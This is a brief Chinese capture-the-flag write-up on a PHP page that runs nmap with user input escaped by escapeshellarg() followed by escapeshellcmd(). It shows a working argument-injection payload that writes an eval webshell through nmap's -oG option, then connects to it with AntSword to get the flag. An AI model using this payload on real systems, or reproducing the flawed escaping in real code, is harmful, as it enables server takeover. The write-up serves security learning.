首先访问网站得到需要分析的代码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
代码中,这两个函数比较特殊:
escapeshellarg()
escapeshellcmd()
这两个函数按代码里这样的顺序使用,是会产生漏洞的,反之就不会。
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg()
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含exec()
,system()
执行运算符(反引号)
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd()
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
此函数保证用户输入的数据在传送到exec()
或system()
函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入:
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
构建payload:?host=' <?php eval($_POST["hack"]);?> -oG hack.php '
由于chdir($sandbox);
,需要改变目录访问hack.php
使用蚁剑连接http://bde50f99-4973-4bb8-8b04-4e7d4aa8e902.node4.buuoj.cn:81/65903a0d4b9d58bb6df5c5544f093f39/hack.php
找到flag{af458f7c-b0cf-409c-ace9-0ce5945ff735}
参考链接:
https://blog.csdn.net/weixin_44348894/article/details/105520481
PHP escapeshellarg()+escapeshellcmd()之殇